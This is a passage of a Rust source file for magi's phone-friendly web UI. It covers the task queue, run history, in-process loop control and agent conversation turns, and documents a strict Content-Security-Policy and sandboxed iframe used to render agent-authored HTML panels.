Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
129pub const DEFAULT_PORT: u16 = 7878;
130
131/// How often the change stream restats the queue and the runs directory.
132const POLL: Duration = Duration::from_secs(1);
133
134/// Keep-alive interval for the change stream. Phones and intermediaries drop
135/// an idle connection within a minute; a comment every fifteen seconds keeps
136/// the stream alive without waking the radio often enough to matter.
137const KEEPALIVE: Duration = Duration::from_secs(15);
138
139/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
140///
141/// A fixed period this long would not track a `[update] interval` shorter
142/// than itself: an operator who set `interval = "1m"` to make the deck
143/// notice a release within a minute would still wait up to fifteen of them
144/// for the next wake-up to even ask [`updater::Checker::should_check`].
145/// [`recheck_poll_period`] scales the sleep with the configured interval
146/// instead, and this is only its ceiling - reached at the default interval
147/// of a day, where waking any more often would just spend cycles asking a
148/// question that stays "no" for hours.
149const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151/// Floor on the same, so a very short `[update] interval` cannot spin
152/// [`run_update_recheck`] in a near-busy loop.
153const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155/// Runs returned when the client does not ask, and the ceiling if it asks for
156/// more. The cap exists because the list handler parses every `run.json` it
157/// returns, and a phone cannot render two thousand rows anyway.
158const LIST_DEFAULT: usize = 50;
159/// Upper bound for `?limit=`.
160const LIST_MAX: usize = 500;
161
162/// Width of a generated task title, matching what the CLI uses.
163const TITLE_MAX: usize = 72;
164
165/// Per-file cap for an attachment upload.
166///
167/// Enforced twice: axum's own body limit is raised one byte above this, only
168/// on the two attachment `POST` routes (see the router - every other route
169/// keeps the crate-wide default), so an oversize body is still read far
170/// enough to answer with our own message below rather than axum's generic
171/// one; this constant is what that message and the boundary check actually
172/// compare against.
173const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175/// The image types an attachment upload accepts - a closed whitelist, the
176/// same posture [`asset_content_type`] takes for panel assets and for the
177/// same reason: SVG is excluded on purpose because it is active content
178/// (it may carry `<script>`) and not merely a picture, so it never appears
179/// here even though `image/svg+xml` is a real IANA type.
180const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182/// Header carrying the operator's own filename. Free text, stored only for
183/// display - see [`talk::Attachment::name`]'s doc on why it never
184/// contributes to a path.
185const FILENAME_HEADER: &str = "x-filename";
186
187/// The header that makes serving agent-authored HTML defensible, sent by both
188/// panel routes and asserted verbatim by a test.
189///
190/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
191/// denies every fetch destination that is not re-allowed below, which is all of
192/// them except images and fonts; `img-src 'self' data:` means an image comes
193/// from magi's own asset route or from the document itself, so a panel cannot
194/// signal an outside server by pointing an `<img>` at it - the classic
195/// exfiltration channel for markup that cannot run script. `style-src
196/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
197/// free formatting means here and a style sheet cannot make a request that
198/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
199/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
200/// stops a form posting the owner's decision to a third party, and
201/// `frame-ancestors 'self'` stops another site framing the panel to phish with
202/// it.
203///
204/// There is deliberately no `script-src`: `default-src 'none'` already covers
205/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
206/// denied twice over. Weakening any directive here is the difference between a
207/// panel the owner reads and a page that can talk to the tailnet, which is why
208/// the test compares the whole string rather than looking for a substring.
209const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210                         font-src data:; base-uri 'none'; form-action 'none'; \
211                         frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217/// Which address to listen on.
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220    /// Ask Tailscale, and fall back to loopback with a warning.
221    Auto,
222    /// An address the operator named.
223    Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227    type Err = String;
228
229    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
230    /// the CLI can take `--bind` straight into it: the one spelling of
231    /// `auto` that matters is the one this function knows.
232    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233        if s.eq_ignore_ascii_case("auto") {
234            return Ok(Self::Auto);
235        }
236        s.parse()
237            .map(Self::Addr)
238            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239    }
240}
241
242impl std::fmt::Display for Bind {
243    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244        match self {
245            Self::Auto => f.write_str("auto"),
246            Self::Addr(addr) => write!(f, "{addr}"),
247        }
248    }
249}
250
251/// How to serve.
252#[derive(Debug, Clone)]
253pub struct Opts {
254    /// Address to listen on.
255    pub bind: Bind,
256    /// Port to listen on.
257    pub port: u16,
258    /// Repository used for tasks posted without one.
259    pub repo: PathBuf,
260    /// Print the URL on its own line for a caller that wants to hand it to a
261    /// browser. magi never launches one itself.
262    pub open: bool,
263    /// Merge mode override for the loop this process runs (`none`, `local`,
264    /// `pr`); `None` leaves it to each repository's own config.
265    ///
266    /// The same override `magi serve --merge` takes, and here for the same
267    /// reason: `magi web` is now the thing that runs the loop, so an operator
268    /// who wants this session's runs to open pull requests has to be able to
269    /// say so without going back to the command they no longer type.
270    pub merge: Option<String>,
271}
272
273impl Default for Opts {
274    fn default() -> Self {
275        Self {
276            bind: Bind::Auto,
277            port: DEFAULT_PORT,
278            repo: PathBuf::from("."),
279            open: false,
280            merge: None,
281        }
282    }
283}
284
285/// Everything the handlers touch.
286///
287/// The queue, the runs directory and the magi home are fields rather than
288/// process-global lookups so a test drives the real router against a temp
289/// directory instead of the operator's own history.
290#[derive(Debug, Clone)]
291pub struct Ui {
292    queue: Queue,
293    questions: Questions,
294    /// `<home>/notifications`, the bell's own store. Derived from `home` in
295    /// [`Ui::new`] so no constructor signature had to grow.
296    notices: Notices,
297    talks: Talks,
298    runs: PathBuf,
299    home: PathBuf,
300    repo: PathBuf,
301    /// Where the runs' worktrees live, for the health disk figures.
302    ///
303    /// Spelled independently of [`crate::run::default_worktree_root`] so the
304    /// test servers can point it at their own temp directory: the health route
305    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
306    /// be measuring the machine instead of the server.
307    worktrees_root: PathBuf,
308    /// Talks with an agent turn in flight right now.
309    ///
310    /// In-process and therefore not durable, which is correct: it guards
311    /// against two taps on one phone and two phones on one tailnet, both of
312    /// which are this process's own concurrency. A second `magi web` would not
313    /// see it, and a second `magi web` on the same home is already a
314    /// misconfiguration the queue's claims would catch first.
315    talk_turns: Arc<Mutex<TalkTurns>>,
316    /// Runs this process is resuming right now.
317    ///
318    /// Separate from `talk_turns` because a run and a talk are different
319    /// things to hold, and a resume is far more expensive to start twice: it
320    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
321    /// guards two taps and two phones, which is this process's own
322    /// concurrency.
323    resuming: Arc<Mutex<HashSet<String>>>,
324    /// The last scan of `[repos] roots`, and when it happened. Shared across
325    /// requests so polling `GET /api/repos` repeatedly does not repeat the
326    /// filesystem walk every time - see [`repos::Cache`].
327    repos_cache: repos::Cache,
328    /// The machine-config file the settings screen reads and writes: always
329    /// [`Config::machine_layer`], never anything a request names. A field so a
330    /// test can point it at its own temp directory instead of the operator's.
331    machine_config: Option<PathBuf>,
332    /// Merge mode override handed to the loop this process starts.
333    merge: Option<String>,
334    /// The loop this process is running, if it is running one.
335    looping: Arc<Mutex<LoopState>>,
336    /// How a loop is actually started.
337    ///
338    /// A field rather than a direct call to [`daemon::serve_until`], because
339    /// the real loop resolves its queue and its status file through the
340    /// process-global magi home and claims whatever it finds there. A test
341    /// that started it would reach straight past its own temp directory into
342    /// the operator's live queue, overwrite the status file of the `magi
343    /// serve` that owns it, and spend real agent quota on a real competition.
344    /// What the routes have to get right is the bookkeeping, so the tests
345    /// drive the routes against a loop that only starts and stops; production
346    /// is [`launch_daemon`] and nothing reassigns it.
347    launch: Launch,
348    /// A test-only stop point inside `talk_say`'s busy branch. See
349    /// [`BusyQueueGate`].
350    #[cfg(test)]
351    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354/// A one-shot stop point the busy branch's queued-draft write can be made to
355/// pause at, right before [`talk::queue`] runs.
356///
357/// Exists because a test cannot otherwise pin *when*, relative to the turn
358/// slot being freed, that write happens: `blocking` runs it on
359/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
360/// already finished, so counting polls on the handler future to park it at a
361/// particular `.await` is a guess about scheduling, not a fact about it - see
362/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
363/// used to do exactly that and paid for it with an occasional "async fn
364/// resumed after completion" panic under load.
365///
366/// `reached` fires the instant the write is about to run, so a test waits for
367/// a real event instead of a poll count. `release` then blocks the write
368/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
369/// rather than an async channel because this all happens inside the
370/// `spawn_blocking` closure the write already runs on, off any runtime
371/// worker, so blocking here costs nothing the write was not already going to
372/// cost.
373#[cfg(test)]
374struct BusyQueueGate {
375    reached: tokio::sync::oneshot::Sender<()>,
376    release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383    }
384}
385
386impl Ui {
387    /// A server over explicit paths.
388    pub fn new(
389        queue: Queue,
390        questions: Questions,
391        talks: Talks,
392        runs: PathBuf,
393        home: PathBuf,
394        repo: PathBuf,
395    ) -> Self {
396        Self {
397            queue,
398            questions,
399            notices: Notices::at(home.join("notifications")),
400            talks,
401            runs,
402            home,
403            repo,
404            // The default location, overridden by `with_worktrees_root` - a
405            // builder step rather than a ninth parameter, for the reason
406            // `with_merge` gives.
407            worktrees_root: run::default_worktree_root(),
408            talk_turns: Arc::default(),
409            resuming: Arc::default(),
410            repos_cache: repos::Cache::new(),
411            machine_config: Config::machine_layer(),
412            merge: None,
413            looping: Arc::default(),
414            launch: launch_daemon,
415            #[cfg(test)]
416            busy_queue_gate: Arc::default(),
417        }
418    }
419
420    /// The operator's own state: `<home>/queue`, `<home>/questions`,
421    /// `<home>/talks`, `<home>/runs`.
422    pub fn open(repo: PathBuf) -> Self {
423        Self::new(
424            Queue::open(),
425            Questions::open(),
426            Talks::open(),
427            run::runs_root(),
428            run::home(),
429            repo,
430        )
431    }
432
433    /// The merge mode the loop should use, as the command line gave it.
434    ///
435    /// A builder step rather than a seventh parameter on [`Ui::new`], because
436    /// the override is a property of how this process was invoked and not of
437    /// where its state lives - which is all the tests that build a `Ui` by
438    /// hand are saying.
439    #[must_use]
440    pub fn with_merge(mut self, merge: Option<String>) -> Self {
441        self.merge = merge;
442        self
443    }
444
445    /// The machine-config file the settings screen writes, when it is not
446    /// [`Config::machine_layer`] (tests).
447    #[cfg(test)]
448    #[must_use]
449    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450        self.machine_config = path;
451        self
452    }
453
454    /// Where the runs' worktrees live, when it is not the default.
455    ///
456    /// The health view sizes this directory, so a test that leaves it at the
457    /// default would be measuring the operator's own machine.
458    #[must_use]
459    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460        self.worktrees_root = root;
461        self
462    }
463
464    /// Point the loop at something other than [`launch_daemon`].
465    ///
466    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
467    /// this crate may start the real loop.
468    #[cfg(test)]
469    #[must_use]
470    fn with_launch(mut self, launch: Launch) -> Self {
471        self.launch = launch;
472        self
473    }
474
475    /// Install a [`BusyQueueGate`] for the next pass through the busy
476    /// branch's queued-draft write, replacing any earlier one.
477    ///
478    /// A setter on `&self` rather than a `with_*` builder consumed once,
479    /// because a test that drives the busy branch more than once (as
480    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
481    /// to build confidence the interleaving is handled deterministically and
482    /// not just on a lucky run) needs a fresh channel pair each time, on the
483    /// one `Ui` it already built its temp directories around.
484    #[cfg(test)]
485    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486        *self
487            .busy_queue_gate
488            .lock()
489            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490    }
491
492    /// The loop's state, for [`serve`]'s own way out.
493    fn looping(&self) -> Arc<Mutex<LoopState>> {
494        Arc::clone(&self.looping)
495    }
496
497    /// Start the loop in this process, or say who already has one.
498    ///
499    /// `foreign` is passed in rather than read here so that one request makes
500    /// one judgement about who owns the loop: reading the status file again
501    /// inside this function could refuse a start for a daemon the same
502    /// response then reports as gone.
503    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504        if let Some(other) = foreign {
505            return Err(ApiError::conflict(format!(
506                "{} is already running the loop, so this one will not start a \
507                 second: two loops on one queue race for the same claims and \
508                 burn the agent quota twice over. Stop it where it was \
509                 started.",
510                other.who()
511            )));
512        }
513        let mut state = self.lock_loop();
514        if state.live.as_ref().is_some_and(Live::alive) {
515            return Err(ApiError::conflict(format!(
516                "this magi web process (pid {}) is already running the loop",
517                std::process::id()
518            )));
519        }
520
521        let stop = daemon::Stop::new();
522        // The CLI's own defaults for everything the UI has no opinion about:
523        // one poll interval and one retry budget, so a loop started from a
524        // phone behaves exactly like the `magi serve` it replaces.
525        let opts = daemon::Opts {
526            repo: self.repo.clone(),
527            merge: self.merge.clone(),
528            // Whatever this `Ui` already reports worktree sizes and folds
529            // against (see `with_worktrees_root`) is what the loop it starts
530            // must reclaim orphaned worktrees under too - two different
531            // opinions about where the worktree bay is would leave the
532            // janitor pass reclaiming a directory nothing else on this
533            // process is even looking at.
534            worktrees_root: Some(self.worktrees_root.clone()),
535            ..daemon::Opts::default()
536        };
537        let launch = self.launch;
538        let looping = Arc::clone(&self.looping);
539        let handle = tokio::spawn({
540            let opts = opts.clone();
541            let stop = stop.clone();
542            async move {
543                let failure = match launch(opts, stop).await {
544                    Ok(()) => None,
545                    Err(e) => Some(format!("{e:#}")),
546                };
547                match &failure {
548                    Some(why) => tracing::error!("the loop stopped: {why}"),
549                    None => tracing::info!("the loop stopped"),
550                }
551                // Recorded by the task itself rather than reaped by whichever
552                // request happens next, so `loop_rev` moves the moment the
553                // loop ends and a phone with the change stream open learns
554                // that it did. Clearing `live` drops this task's own handle,
555                // which only detaches it, and is the last thing it does.
556                let mut state = lock_or_recover(&looping);
557                state.live = None;
558                state.last_error = failure;
559                state.rev += 1;
560            }
561        });
562        tracing::info!(
563            "the loop is now running in this process: repo {}, merge {}",
564            opts.repo.display(),
565            opts.merge.as_deref().unwrap_or("as the config says")
566        );
567        state.live = Some(Live { stop, handle, opts });
568        // A fresh start is not the place to keep showing why the last one
569        // died; the operator has read it and pressed the button anyway.
570        state.last_error = None;
571        state.rev += 1;
572        Ok(())
573    }
574
575    /// Ask the loop to stop, without waiting for it to get there.
576    ///
577    /// Idempotent: a second tap on stop is not an error, because the first one
578    /// leaves the loop running for as long as the run in flight takes and the
579    /// operator has no way to tell a slow stop from a lost one.
580    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581        if let Some(other) = foreign {
582            return Err(ApiError::conflict(format!(
583                "the loop belongs to {}, and this process cannot stop it - \
584                 stop it where it was started. A button that silently did \
585                 nothing would be worse than this refusal.",
586                other.who()
587            )));
588        }
589        let mut state = self.lock_loop();
590        // An operator who stops the loop has decided it stays stopped, even
591        // across an upgrade that was already in flight.
592        if !park {
593            state.resume_after_handover = false;
594        }
595        let Some(live) = state.live.as_ref() else {
596            return Ok(());
597        };
598        // A park upgrades a stop that has already been asked for: the
599        // operator who tapped "stop" and then realised the run has an hour
600        // left must not have to restart the loop to change their mind.
601        if live.stop.stopped() && (!park || live.stop.parking()) {
602            return Ok(());
603        }
604        if park {
605            live.stop.park();
606            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607        } else {
608            live.stop.stop();
609            tracing::info!("the loop was asked to stop; a run in flight is finished first");
610        }
611        state.rev += 1;
612        Ok(())
613    }
614
615    /// The loop as both `/api/loop` and `/api/health` report it.
616    ///
617    /// `reading` is the caller's single read of `<home>/daemon.json`, because
618    /// health answers with this view *and* the daemon object beside it: one
619    /// read per response is what stops a single answer naming a foreign owner
620    /// in one field and calling the loop free in the other.
621    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622        let state = self.lock_loop();
623        // A loop that panicked never recorded its own end, so the handle -
624        // not the presence of the record - is what "running" means.
625        let live = state.live.as_ref().filter(|live| live.alive());
626        LoopView {
627            running: live.is_some(),
628            stopping: live.is_some_and(|live| live.stop.finishing()),
629            parking: live.is_some_and(|live| live.stop.parking()),
630            owned: live.is_some(),
631            repo: live
632                .map_or(&self.repo, |live| &live.opts.repo)
633                .display()
634                .to_string(),
635            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636            last_error: state.last_error.clone(),
637            daemon: DaemonView::of(reading),
638        }
639    }
640
641    /// Start the loop in a successor whose predecessor was running one.
642    ///
643    /// Goes through the same path as the UI's start-loop action. A refusal
644    /// (another process owns the loop) is logged and left in `last_error`;
645    /// the loop then simply stays stopped.
646    fn resume_after_handover(&self, resume: bool) -> bool {
647        if !resume {
648            return false;
649        }
650        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651        match self.start_loop(foreign) {
652            Ok(()) => true,
653            Err(e) => {
654                let why = format!(
655                    "the loop could not be resumed after the upgrade: {}",
656                    e.message
657                );
658                tracing::warn!("{why}");
659                let mut state = self.lock_loop();
660                state.last_error = Some(why);
661                state.rev += 1;
662                false
663            }
664        }
665    }
666
667    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
668    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669        lock_or_recover(&self.looping)
670    }
671
672    /// Whether this process currently owns the agent turn for `id`.
673    ///
674    /// This deliberately describes only the in-memory claim made by
675    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
676    /// never persisted with a [`Talk`].
677    fn is_thinking(&self, id: &str) -> bool {
678        self.talk_turns
679            .lock()
680            .is_ok_and(|turns| turns.live.contains(id))
681    }
682
683    /// Claim the right to run one turn in a talk, or report that it is busy.
684    ///
685    /// A talk is strictly turn-based: the agent is resumed with the
686    /// conversation it already has, so two turns running at once would resume
687    /// the same session twice and append their answers in whatever order the
688    /// two CLIs finished in. The operator would come back to a transcript
689    /// with two half-turns interleaved, which is unreadable and, worse,
690    /// unfixable - there is no undo for a persisted turn.
691    ///
692    /// A busy result is queued as a durable draft by [`talk_say`], rather than
693    /// starting a second CLI invocation for the same session.
694    ///
695    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
696    /// taken to test-and-insert and released before the agent is spawned. The
697    /// returned guard removes the id on drop, which is what makes a panicking
698    /// handler or a phone that walks out of range leave the talk usable - axum
699    /// drops the handler future when the client disconnects, and without the
700    /// guard that talk would be wedged until the server restarted.
701    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702        self.claim_talk_turn(id, false)
703    }
704
705    /// Claim a turn after durably queueing a draft, or notify its current
706    /// owner that a drainer must recheck before it releases the slot.
707    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708        self.claim_talk_turn(id, true)
709    }
710
711    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712        let mut live = self
713            .talk_turns
714            .lock()
715            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716        if !live.live.insert(id.to_owned()) {
717            if queued {
718                // A queued write has landed before this busy check.
719                // `drain_loop` uses this generation to recheck after its
720                // off-thread disk read, so it cannot release a turn between
721                // this check and the write.
722                *live.queued.entry(id.to_owned()).or_default() += 1;
723            }
724            return Ok(None);
725        }
726        Ok(Some(TalkTurnGuard {
727            talk: id.to_owned(),
728            turns: Arc::clone(&self.talk_turns),
729            released: false,
730        }))
731    }
732
733    /// Decide whether a free talk may start a new immediate turn while its
734    /// claim lock is held. A persisted draft without an owner is recovery
735    /// state, not a busy turn: two simultaneous `/say` requests must both
736    /// leave it untouched rather than one of them appending to it.
737    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738        let mut live = self
739            .talk_turns
740            .lock()
741            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742        if live.live.contains(id) {
743            return Ok(TalkTurnStart::Busy);
744        }
745        let talk = self.talks.get(id).map_err(ApiError::from)?;
746        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747            return Ok(TalkTurnStart::Pending);
748        }
749        live.live.insert(id.to_owned());
750        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751            talk: id.to_owned(),
752            turns: Arc::clone(&self.talk_turns),
753            released: false,
754        }))
755    }
756
757    /// Park the loop for an upgrade, and report the run that is parking.
758    ///
759    /// A park rather than a stop: a stop waits out the whole competition, and
760    /// not waiting is the point of upgrading from a phone. `None` means
761    /// nothing was in flight, which is worth saying so the operator is not
762    /// told a run is parking when none is.
763    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764        let parking = {
765            let mut state = self.lock_loop();
766            // Decided here, before the park: by the time the handover fires
767            // an idle loop has already seen the park and ended, so `live`
768            // would read as "was never running". A loop the operator had
769            // already stopped stays stopped.
770            //
771            // Sticky: a second upgrade request finds the loop already
772            // stopping because of the first one's park, and must not read
773            // that as the operator having stopped it. Only an explicit stop
774            // or a failed update clears an earlier intent.
775            let resume = state.resume_after_handover
776                || state
777                    .live
778                    .as_ref()
779                    .is_some_and(|live| live.alive() && !live.stop.stopped());
780            state.resume_after_handover = resume;
781            let Some(live) = state.live.as_ref() else {
782                return Ok(None);
783            };
784            let busy = live.stop.busy_now();
785            live.stop.park();
786            state.rev += 1;
787            busy
788        };
789        Ok(if parking {
790            // More than one run can be in flight now (see
791            // `Config::daemon.max_concurrent_runs`); this answer names one of
792            // them so the operator sees a park actually happened, not every
793            // run a park now asks to stop at its next boundary.
794            daemon::current_work(&self.home, jiff::Timestamp::now())
795                .into_iter()
796                .next()
797                .map(|c| c.run)
798        } else {
799            None
800        })
801    }
802
803    /// Claim a run for a resume, on the same reasoning as
804    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
805    /// disconnected phone does not wedge the run until the server restarts.
806    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807        let mut live = self
808            .resuming
809            .lock()
810            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811        if !live.insert(id.to_owned()) {
812            return Err(ApiError::conflict(format!(
813                "run {id} is already being resumed"
814            )));
815        }
816        Ok(ResumeGuard {
817            run: id.to_owned(),
818            resuming: Arc::clone(&self.resuming),
819        })
820    }
821
822    /// The router, with this state baked in.
823    ///
824    /// The three front-end files get one explicit route each rather than a
825    /// path parameter, so there is no traversal surface to get wrong: the set
826    /// of servable paths is the set written here. The asset route below is the
827    /// one exception and the only place in this server where a client names a
828    /// file; it is why [`valid_asset_name`] is checked before a path is built.
829    pub fn router(self) -> Router {
830        Router::new()
831            .route("/", get(index))
832            .route("/app.css", get(app_css))
833            .route("/app.js", get(app_js))
834            .route("/api/health", get(health))
835            .route("/api/loop", get(loop_get).post(loop_post))
836            .route("/api/upgrade", post(upgrade_post))
837            .route("/api/runs", get(runs_list))
838            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839            .route("/api/runs/{id}/report", get(run_report))
840            .route("/api/runs/{id}/report.json", get(run_report_json))
841            .route("/api/runs/{id}/fold", post(run_fold))
842            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
843            .route("/api/runs/{id}/resume", post(run_resume))
844            .route("/api/queue", get(queue_list))
845            .route("/api/search", get(search_get))
846            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
847            .route("/api/stats", get(stats_get))
848            .route("/api/repos", get(repos_list))
849            .route("/api/settings", get(settings_get))
850            .route("/api/settings/roles", put(settings_put_roles))
851            .route("/api/queue/{id}/hold", post(queue_hold))
852            .route("/api/queue/{id}/release", post(queue_release))
853            .route("/api/queue/{id}/priority", post(queue_priority))
854            .route("/api/queue/{id}/edit", post(queue_edit))
855            .route("/api/queue/{id}/done", post(queue_done))
856            .route("/api/questions", get(questions_list))
857            .route("/api/questions/{id}/answer", post(question_answer))
858            .route("/api/questions/{id}/say", post(question_say))
859            .route("/api/questions/{id}/panel", get(question_panel))
860            // The same asset, reachable from inside the panel by its bare
861            // filename. A document served at `.../panel` resolves `shot.png`
862            // to `.../shot.png`, which is not the asset route, so a panel
863            // written the way its author was told to write it showed broken
